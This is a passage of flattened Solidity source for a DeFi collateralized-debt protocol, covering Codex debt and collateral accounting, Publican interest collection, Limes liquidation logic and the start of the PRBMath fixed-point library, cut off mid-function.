Vault storage v = vaults[vault];
pSrc.collateral = sub(pSrc.collateral, deltaCollateral);
pSrc.normalDebt = sub(pSrc.normalDebt, deltaNormalDebt);
pDst.collateral = add(pDst.collateral, deltaCollateral);
pDst.normalDebt = add(pDst.normalDebt, deltaNormalDebt);
uint256 debtSrc = wmul(pSrc.normalDebt, v.rate);
uint256 debtDst = wmul(pDst.normalDebt, v.rate);
// both sides consent
if (!hasDelegate(src, msg.sender) || !hasDelegate(dst, msg.sender))
revert Codex__transferCollateralAndDebt_notAllowed();
// both sides safe
if (debtSrc > wmul(pSrc.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeSrc();
if (debtDst > wmul(pDst.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeDst();
// both sides non-dusty
if (pSrc.normalDebt != 0 && debtSrc < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorSrc();
if (pDst.normalDebt != 0 && debtDst < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorDst();
emit TransferCollateralAndDebt(vault, tokenId, src, dst, deltaCollateral, deltaNormalDebt);
}
/// @notice Confiscates a Position's collateral and debt balances
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param debtor Address of who provides or receives the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override checkCaller {
Position storage position = positions[vault][tokenId][user];
Vault storage v = vaults[vault];
position.collateral = add(position.collateral, deltaCollateral);
position.normalDebt = add(position.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
unbackedDebt[debtor] = sub(unbackedDebt[debtor], deltaDebt);
globalUnbackedDebt = sub(globalUnbackedDebt, deltaDebt);
emit ConfiscateCollateralAndDebt(
vault,
tokenId,
user,
collateralizer,
debtor,
deltaCollateral,
deltaNormalDebt
);
}
/// ======== Unbacked Debt ======== ///
/// @notice Settles unbacked debt with the sender's credit
/// @dev Reverts if the sender does not have sufficient credit available to settle the debt
/// @param debt Amount of debt to settle [wawd]
function settleUnbackedDebt(uint256 debt) external override {
address debtor = msg.sender;
unbackedDebt[debtor] = sub(unbackedDebt[debtor], debt);
credit[debtor] = sub(credit[debtor], debt);
globalUnbackedDebt = sub(globalUnbackedDebt, debt);
globalDebt = sub(globalDebt, debt);
emit SettleUnbackedDebt(debtor, debt);
}
/// @notice Create unbacked debt / credit
/// @dev Sender has to be allowed to call this method
/// @param debtor Address of the account who takes the unbacked debt
/// @param creditor Address of the account who gets the credit
/// @param debt Amount of unbacked debt / credit to generate [wad]
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external override checkCaller {
unbackedDebt[debtor] = add(unbackedDebt[debtor], debt);
credit[creditor] = add(credit[creditor], debt);
globalUnbackedDebt = add(globalUnbackedDebt, debt);
globalDebt = add(globalDebt, debt);
emit CreateUnbackedDebt(debtor, creditor, debt);
}
/// ======== Debt Interest Rates ======== ///
/// @notice Updates the rate value and collects the accrued interest for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the vault
/// @param creditor Address of the account who gets the accrued interest
/// @param deltaRate Delta to increase (+) or decrease (-) the rate [percentage in wad]
function modifyRate(
address vault,
address creditor,
int256 deltaRate
) external override checkCaller {
if (live == 0) revert Codex__modifyRate_notLive();
Vault storage v = vaults[vault];
v.rate = add(v.rate, deltaRate);
int256 wad = wmul(v.totalNormalDebt, deltaRate);
credit[creditor] = add(credit[creditor], wad);
globalDebt = add(globalDebt, wad);
emit ModifyRate(vault, creditor, deltaRate);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}// Copyright (C) 2018 Rain <[email protected]>
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDebtAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function tokenToSellBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function aer() external view returns (address);
function setParam(bytes32 param, uint256 data) external;
function startAuction(
address recipient,
uint256 tokensToSell,
uint256 bid
) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 tokensToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock() external;
function cancelAuction(uint256 id) external;
}
interface ISurplusAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function startAuction(uint256 creditToSell, uint256 bid) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 creditToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock(uint256 credit) external;
function cancelAuction(uint256 id) external;
}
interface IAer {
function codex() external view returns (ICodex);
function surplusAuction() external view returns (ISurplusAuction);
function debtAuction() external view returns (IDebtAuction);
function debtQueue(uint256) external view returns (uint256);
function queuedDebt() external view returns (uint256);
function debtOnAuction() external view returns (uint256);
function auctionDelay() external view returns (uint256);
function debtAuctionSellSize() external view returns (uint256);
function debtAuctionBidSize() external view returns (uint256);
function surplusAuctionSellSize() external view returns (uint256);
function surplusBuffer() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function queueDebt(uint256 debt) external;
function unqueueDebt(uint256 queuedAt) external;
function settleDebtWithSurplus(uint256 debt) external;
function settleAuctionedDebt(uint256 debt) external;
function startDebtAuction() external returns (uint256 auctionId);
function startSurplusAuction() external returns (uint256 auctionId);
function transferCredit(address to, uint256 credit) external;
function lock() external;
}interface IPublican {
function vaults(address vault) external view returns (uint256, uint256);
function codex() external view returns (ICodex);
function aer() external view returns (IAer);
function baseInterest() external view returns (uint256);
function init(address vault) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function virtualRate(address vault) external returns (uint256 rate);
function collect(address vault) external returns (uint256 rate);
}
/// @title Publican
/// @notice `Publican` is responsible for setting the debt interest rate and collecting interest
/// Uses Jug.sol from DSS (MakerDAO) / TaxCollector.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Jug.sol / TaxCollector.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - configuration by Vaults
contract Publican is Guarded, IPublican {
/// ======== Custom Errors ======== ///
error Publican__init_vaultAlreadyInit();
error Publican__setParam_notCollected();
error Publican__setParam_unrecognizedParam();
error Publican__collect_invalidBlockTimestamp();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Collateral-specific, per-second stability fee contribution [wad]
uint256 interestPerSecond;
// Time of last drip [unix epoch time]
uint256 lastCollected;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Aer
IAer public override aer;
/// @notice Global, per-second stability fee contribution [wad]
uint256 public override baseInterest;
/// ======== Events ======== ///
event Init(address indexed vault);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address indexed data);
event Collect(address indexed vault);
constructor(address codex_) Guarded() {
codex = ICodex(codex_);
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
function init(address vault) external override checkCaller {
VaultConfig storage v = vaults[vault];
if (v.interestPerSecond != 0) revert Publican__init_vaultAlreadyInit();
v.interestPerSecond = WAD;
v.lastCollected = block.timestamp;
emit Init(vault);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (block.timestamp != vaults[vault].lastCollected) revert Publican__setParam_notCollected();
if (param == "interestPerSecond") vaults[vault].interestPerSecond = data;
else revert Publican__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "baseInterest") baseInterest = data;
else revert Publican__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (param == "aer") aer = IAer(data);
else revert Publican__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Interest Rates ======== ///
/// @notice Returns the up to date rate (virtual rate) for a given vault as the rate stored in Codex
/// might be outdated
/// @param vault Address of the Vault
/// @return rate Virtual rate
function virtualRate(address vault) external view override returns (uint256 rate) {
(, uint256 prev, , ) = codex.vaults(vault);
if (block.timestamp < vaults[vault].lastCollected) return prev;
rate = wmul(
wpow(
add(baseInterest, vaults[vault].interestPerSecond),
sub(block.timestamp, vaults[vault].lastCollected),
WAD
),
prev
);
}
/// @notice Collects accrued interest from all Position on a Vault by updating the Vault's rate
/// @param vault Address of the Vault
/// @return rate Set rate
function collect(address vault) public override returns (uint256 rate) {
if (block.timestamp < vaults[vault].lastCollected) revert Publican__collect_invalidBlockTimestamp();
(, uint256 prev, , ) = codex.vaults(vault);
rate = wmul(
wpow(
add(baseInterest, vaults[vault].interestPerSecond),
sub(block.timestamp, vaults[vault].lastCollected),
WAD
),
prev
);
codex.modifyRate(vault, address(aer), diff(rate, prev));
vaults[vault].lastCollected = block.timestamp;
emit Collect(vault);
}
/// @notice Batches interest collection. See `collect(address vault)`.
/// @param vaults_ Array of Vault addresses
/// @return rates Set rates for each updated Vault
function collectMany(address[] memory vaults_) external returns (uint256[] memory) {
uint256[] memory rates = new uint256[](vaults_.length);
for (uint256 i = 0; i < vaults_.length; i++) {
rates[i] = collect(vaults_[i]);
}
return rates;
}
}// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
interface IPriceCalculator {
// 1st arg: initial price [wad]
// 2nd arg: seconds since auction start [seconds]
// returns: current auction price [wad]
function price(uint256, uint256) external view returns (uint256);
}
interface ILimes {
function codex() external view returns (ICodex);
function aer() external view returns (IAer);
function vaults(address)
external
view
returns (
address,
uint256,
uint256,
uint256
);
function live() external view returns (uint256);
function globalMaxDebtOnAuction() external view returns (uint256);
function globalDebtOnAuction() external view returns (uint256);
function setParam(bytes32 param, address data) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address collateralAuction
) external;
function liquidationPenalty(address vault) external view returns (uint256);
function liquidate(
address vault,
uint256 tokenId,
address position,
address keeper
) external returns (uint256 auctionId);
function liquidated(
address vault,
uint256 tokenId,
uint256 debt
) external;
function lock() external;
}
interface CollateralAuctionCallee {
function collateralAuctionCall(
address,
uint256,
uint256,
bytes calldata
) external;
}
interface ICollateralAuction {
function vaults(address)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
ICollybus,
IPriceCalculator
);
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function feeTip() external view returns (uint64);
function flatTip() external view returns (uint192);
function auctionCounter() external view returns (uint256);
function activeAuctions(uint256) external view returns (uint256);
function auctions(uint256)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint256,
address,
uint96,
uint256
);
function stopped() external view returns (uint256);
function init(address vault, address collybus) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address data
) external;
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external returns (uint256 auctionId);
function redoAuction(uint256 auctionId, address keeper) external;
function takeCollateral(
uint256 auctionId,
uint256 collateralAmount,
uint256 maxPrice,
address recipient,
bytes calldata data
) external;
function count() external view returns (uint256);
function list() external view returns (uint256[] memory);
function getStatus(uint256 auctionId)
external
view
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
);
function updateAuctionDebtFloor(address vault) external;
function cancelAuction(uint256 auctionId) external;
}
/// @title Limes
/// @notice `Limes` is responsible for triggering liquidations of unsafe Positions and
/// putting the Position's collateral up for auction
/// Uses Dog.sol from DSS (MakerDAO) as a blueprint
/// Changes from Dog.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract Limes is Guarded, ILimes {
/// ======== Custom Errors ======== ///
error Limes__setParam_liquidationPenaltyLtWad();
error Limes__setParam_unrecognizedParam();
error Limes__liquidate_notLive();
error Limes__liquidate_notUnsafe();
error Limes__liquidate_maxDebtOnAuction();
error Limes__liquidate_dustyAuctionFromPartialLiquidation();
error Limes__liquidate_nullAuction();
error Limes__liquidate_overflow();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Auction contract for collateral
address collateralAuction;
// Liquidation penalty [wad]
uint256 liquidationPenalty;
// Max credit needed to cover debt+fees of active auctions per vault [wad]
uint256 maxDebtOnAuction;
// Amount of credit needed to cover debt+fees for all active auctions per vault [wad]
uint256 debtOnAuction;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Aer
IAer public override aer;
/// @notice Max credit needed to cover debt+fees of active auctions [wad]
uint256 public override globalMaxDebtOnAuction;
/// @notice Amount of credit needed to cover debt+fees for all active auctions [wad]
uint256 public override globalDebtOnAuction;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address data);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, bytes32 indexed param, address collateralAuction);
event Liquidate(
address indexed vault,
uint256 indexed tokenId,
address position,
uint256 collateral,
uint256 normalDebt,
uint256 due,
address collateralAuction,
uint256 indexed auctionId
);
event Liquidated(address indexed vault, uint256 indexed tokenId, uint256 debt);
event Lock();
constructor(address codex_) Guarded() {
codex = ICodex(codex_);
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (param == "aer") aer = IAer(data);
else revert Limes__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "globalMaxDebtOnAuction") globalMaxDebtOnAuction = data;
else revert Limes__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (param == "liquidationPenalty") {
if (data < WAD) revert Limes__setParam_liquidationPenaltyLtWad();
vaults[vault].liquidationPenalty = data;
} else if (param == "maxDebtOnAuction") vaults[vault].maxDebtOnAuction = data;
else revert Limes__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(
address vault,
bytes32 param,
address data
) external override checkCaller {
if (param == "collateralAuction") {
vaults[vault].collateralAuction = data;
} else revert Limes__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// ======== Liquidations ======== ///
/// @notice Direct access to the current liquidation penalty set for a Vault
/// @param vault Address of the Vault
/// @return liquidation penalty [wad]
function liquidationPenalty(address vault) external view override returns (uint256) {
return vaults[vault].liquidationPenalty;
}
/// @notice Liquidate a Position and start a Dutch auction to sell its collateral for credit.
/// @dev The third argument is the address that will receive the liquidation reward, if any.
/// The entire Position will be liquidated except when the target amount of credit to be raised in
/// the resulting auction (debt of Position + liquidation penalty) causes either globalDebtOnAuction to exceed
/// globalMaxDebtOnAuction or vault.debtOnAuction to exceed vault.maxDebtOnAuction by an economically
/// significant amount. In that case, a partial liquidation is performed to respect the global and per-vault limits
/// on outstanding credit target. The one exception is if the resulting auction would likely
/// have too little collateral to be of interest to Keepers (debt taken from Position < vault.debtFloor),
/// in which case the function reverts. Please refer to the code and comments within if more detail is desired.
/// @param vault Address of the Position's Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the Position
/// @param position Address of the owner of the Position
/// @param keeper Address of the keeper who triggers the liquidation and receives the reward
/// @return auctionId Indentifier of the started auction
function liquidate(
address vault,
uint256 tokenId,
address position,
address keeper
) external override returns (uint256 auctionId) {
if (live == 0) revert Limes__liquidate_notLive();
VaultConfig memory mvault = vaults[vault];
uint256 deltaNormalDebt;
uint256 rate;
uint256 debtFloor;
uint256 deltaCollateral;
unchecked {
{
(uint256 collateral, uint256 normalDebt) = codex.positions(vault, tokenId, position);
uint256 price = IVault(vault).fairPrice(tokenId, true, false);
(, rate, , debtFloor) = codex.vaults(vault);
if (price == 0 || mul(collateral, price) >= mul(normalDebt, rate)) revert Limes__liquidate_notUnsafe();
// Get the minimum value between:
// 1) Remaining space in the globalMaxDebtOnAuction
// 2) Remaining space in the vault.maxDebtOnAuction
if (!(globalMaxDebtOnAuction > globalDebtOnAuction && mvault.maxDebtOnAuction > mvault.debtOnAuction))
revert Limes__liquidate_maxDebtOnAuction();
uint256 room = min(
globalMaxDebtOnAuction - globalDebtOnAuction,
mvault.maxDebtOnAuction - mvault.debtOnAuction
);
// normalize room by subtracting rate and liquidationPenalty
deltaNormalDebt = min(normalDebt, (((room * WAD) / rate) * WAD) / mvault.liquidationPenalty);
// Partial liquidation edge case logic
if (normalDebt > deltaNormalDebt) {
if (wmul(normalDebt - deltaNormalDebt, rate) < debtFloor) {
// If the leftover Position would be dusty, just liquidate it entirely.
// This will result in at least one of v.debtOnAuction > v.maxDebtOnAuction or
// globalDebtOnAuction > globalMaxDebtOnAuction becoming true. The amount of excess will
// be bounded above by ceiling(v.debtFloor * v.liquidationPenalty / WAD). This deviation is
// assumed to be small compared to both v.maxDebtOnAuction and globalMaxDebtOnAuction, so that
// the extra amount of credit is not of economic concern.
deltaNormalDebt = normalDebt;
} else {
// In a partial liquidation, the resulting auction should also be non-dusty.
if (wmul(deltaNormalDebt, rate) < debtFloor)
revert Limes__liquidate_dustyAuctionFromPartialLiquidation();
}
}
deltaCollateral = mul(collateral, deltaNormalDebt) / normalDebt;
}
}
if (deltaCollateral == 0) revert Limes__liquidate_nullAuction();
if (!(deltaNormalDebt <= 2**255 && deltaCollateral <= 2**255)) revert Limes__liquidate_overflow();
codex.confiscateCollateralAndDebt(
vault,
tokenId,
position,
mvault.collateralAuction,
address(aer),
-int256(deltaCollateral),
-int256(deltaNormalDebt)
);
uint256 due = wmul(deltaNormalDebt, rate);
aer.queueDebt(due);
{
// Avoid stack too deep
// This calcuation will overflow if deltaNormalDebt*rate exceeds ~10^14
uint256 debt = wmul(due, mvault.liquidationPenalty);
globalDebtOnAuction = add(globalDebtOnAuction, debt);
vaults[vault].debtOnAuction = add(mvault.debtOnAuction, debt);
auctionId = ICollateralAuction(mvault.collateralAuction).startAuction({
debt: debt,
collateralToSell: deltaCollateral,
vault: vault,
tokenId: tokenId,
user: position,
keeper: keeper
});
}
emit Liquidate(
vault,
tokenId,
position,
deltaCollateral,
deltaNormalDebt,
due,
mvault.collateralAuction,
auctionId
);
}
/// @notice Marks the liquidated Position's debt as sold
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the liquidated Position's Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the liquidated Position
/// @param debt Amount of debt sold
function liquidated(
address vault,
uint256 tokenId,
uint256 debt
) external override checkCaller {
globalDebtOnAuction = sub(globalDebtOnAuction, debt);
vaults[vault].debtOnAuction = sub(vaults[vault].debtOnAuction, debt);
emit Liquidated(vault, tokenId, debt);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}/// @notice Emitted when the result overflows uint256.
error PRBMath__MulDivFixedPointOverflow(uint256 prod1);
/// @notice Emitted when the result overflows uint256.
error PRBMath__MulDivOverflow(uint256 prod1, uint256 denominator);
/// @notice Emitted when one of the inputs is type(int256).min.
error PRBMath__MulDivSignedInputTooSmall();
/// @notice Emitted when the intermediary absolute result overflows int256.
error PRBMath__MulDivSignedOverflow(uint256 rAbs);
/// @notice Emitted when the input is MIN_SD59x18.
error PRBMathSD59x18__AbsInputTooSmall();
/// @notice Emitted when ceiling a number overflows SD59x18.
error PRBMathSD59x18__CeilOverflow(int256 x);
/// @notice Emitted when one of the inputs is MIN_SD59x18.
error PRBMathSD59x18__DivInputTooSmall();
/// @notice Emitted when one of the intermediary unsigned results overflows SD59x18.
error PRBMathSD59x18__DivOverflow(uint256 rAbs);
/// @notice Emitted when the input is greater than 133.084258667509499441.
error PRBMathSD59x18__ExpInputTooBig(int256 x);
/// @notice Emitted when the input is greater than 192.
error PRBMathSD59x18__Exp2InputTooBig(int256 x);
/// @notice Emitted when flooring a number underflows SD59x18.
error PRBMathSD59x18__FloorUnderflow(int256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format overflows SD59x18.
error PRBMathSD59x18__FromIntOverflow(int256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format underflows SD59x18.
error PRBMathSD59x18__FromIntUnderflow(int256 x);
/// @notice Emitted when the product of the inputs is negative.
error PRBMathSD59x18__GmNegativeProduct(int256 x, int256 y);
/// @notice Emitted when multiplying the inputs overflows SD59x18.
error PRBMathSD59x18__GmOverflow(int256 x, int256 y);
/// @notice Emitted when the input is less than or equal to zero.
error PRBMathSD59x18__LogInputTooSmall(int256 x);
/// @notice Emitted when one of the inputs is MIN_SD59x18.
error PRBMathSD59x18__MulInputTooSmall();
/// @notice Emitted when the intermediary absolute result overflows SD59x18.
error PRBMathSD59x18__MulOverflow(uint256 rAbs);
/// @notice Emitted when the intermediary absolute result overflows SD59x18.
error PRBMathSD59x18__PowuOverflow(uint256 rAbs);
/// @notice Emitted when the input is negative.
error PRBMathSD59x18__SqrtNegativeInput(int256 x);
/// @notice Emitted when the calculating the square root overflows SD59x18.
error PRBMathSD59x18__SqrtOverflow(int256 x);
/// @notice Emitted when addition overflows UD60x18.
error PRBMathUD60x18__AddOverflow(uint256 x, uint256 y);
/// @notice Emitted when ceiling a number overflows UD60x18.
error PRBMathUD60x18__CeilOverflow(uint256 x);
/// @notice Emitted when the input is greater than 133.084258667509499441.
error PRBMathUD60x18__ExpInputTooBig(uint256 x);
/// @notice Emitted when the input is greater than 192.
error PRBMathUD60x18__Exp2InputTooBig(uint256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format format overflows UD60x18.
error PRBMathUD60x18__FromUintOverflow(uint256 x);
/// @notice Emitted when multiplying the inputs overflows UD60x18.
error PRBMathUD60x18__GmOverflow(uint256 x, uint256 y);
/// @notice Emitted when the input is less than 1.
error PRBMathUD60x18__LogInputTooSmall(uint256 x);
/// @notice Emitted when the calculating the square root overflows UD60x18.
error PRBMathUD60x18__SqrtOverflow(uint256 x);
/// @notice Emitted when subtraction underflows UD60x18.
error PRBMathUD60x18__SubUnderflow(uint256 x, uint256 y);
/// @dev Common mathematical functions used in both PRBMathSD59x18 and PRBMathUD60x18. Note that this shared library
/// does not always assume the signed 59.18-decimal fixed-point or the unsigned 60.18-decimal fixed-point
/// representation. When it does not, it is explicitly mentioned in the NatSpec documentation.
library PRBMath {
/// STRUCTS ///
struct SD59x18 {
int256 value;
}
struct UD60x18 {
uint256 value;
}
/// STORAGE ///
/// @dev How many trailing decimals can be represented.
uint256 internal constant SCALE = 1e18;
/// @dev Largest power of two divisor of SCALE.
uint256 internal constant SCALE_LPOTD = 262144;
/// @dev SCALE inverted mod 2^256.
uint256 internal constant SCALE_INVERSE =
78156646155174841979727994598816262306175212592076161876661_508869554232690281;
/// FUNCTIONS ///
/// @notice Calculates the binary exponent of x using the binary fraction method.
/// @dev Has to use 192.64-bit fixed-point numbers.
/// See https://ethereum.stackexchange.com/a/96594/24693.
/// @param x The exponent as an unsigned 192.64-bit fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp2(uint256 x) internal pure returns (uint256 result) {
unchecked {
// Start from 0.5 in the 192.64-bit fixed-point format.
result = 0x800000000000000000000000000000000000000000000000;
// Multiply the result by root(2, 2^-i) when the bit at position i is 1. None of the intermediary results overflows
// because the initial result is 2^191 and all magic factors are less than 2^65.
if (x & 0x8000000000000000 > 0) {
result = (result * 0x16A09E667F3BCC909) >> 64;
}
if (x & 0x4000000000000000 > 0) {
result = (result * 0x1306FE0A31B7152DF) >> 64;
}
if (x & 0x2000000000000000 > 0) {
result = (result * 0x1172B83C7D517ADCE) >> 64;
}
if (x & 0x1000000000000000 > 0) {
result = (result * 0x10B5586CF9890F62A) >> 64;
}
if (x & 0x800000000000000 > 0) {
result = (result * 0x1059B0D31585743AE) >> 64;
}
if (x & 0x400000000000000 > 0) {
result = (result * 0x102C9A3E778060EE7) >> 64;
}
if (x & 0x200000000000000 > 0) {
result = (result * 0x10163DA9FB33356D8) >> 64;
}
if (x & 0x100000000000000 > 0) {
result = (result * 0x100B1AFA5ABCBED61) >> 64;
}
if (x & 0x80000000000000 > 0) {
result = (result * 0x10058C86DA1C09EA2) >> 64;
}
if (x & 0x40000000000000 > 0) {
result = (result * 0x1002C605E2E8CEC50) >> 64;
}
if (x & 0x20000000000000 > 0) {
result = (result * 0x100162F3904051FA1) >> 64;
}
if (x & 0x10000000000000 > 0) {
result = (result * 0x1000B175EFFDC76BA) >> 64;
}
if (x & 0x8000000000000 > 0) {
result = (result * 0x100058BA01FB9F96D) >> 64;
}
if (x & 0x4000000000000 > 0) {
result = (result * 0x10002C5CC37DA9492) >> 64;
}
if (x & 0x2000000000000 > 0) {
result = (result * 0x1000162E525EE0547) >> 64;
}
if (x & 0x1000000000000 > 0) {
result = (result * 0x10000B17255775C04) >> 64;
}
if (x & 0x800000000000 > 0) {
result = (result * 0x1000058B91B5BC9AE) >> 64;
}
if (x & 0x400000000000 > 0) {
result = (result * 0x100002C5C89D5EC6D) >> 64;
}
if (x & 0x200000000000 > 0) {
result = (result * 0x10000162E43F4F831) >> 64;
}
if (x & 0x100000000000 > 0) {
result = (result * 0x100000B1721BCFC9A) >> 64;
}
if (x & 0x80000000000 > 0) {
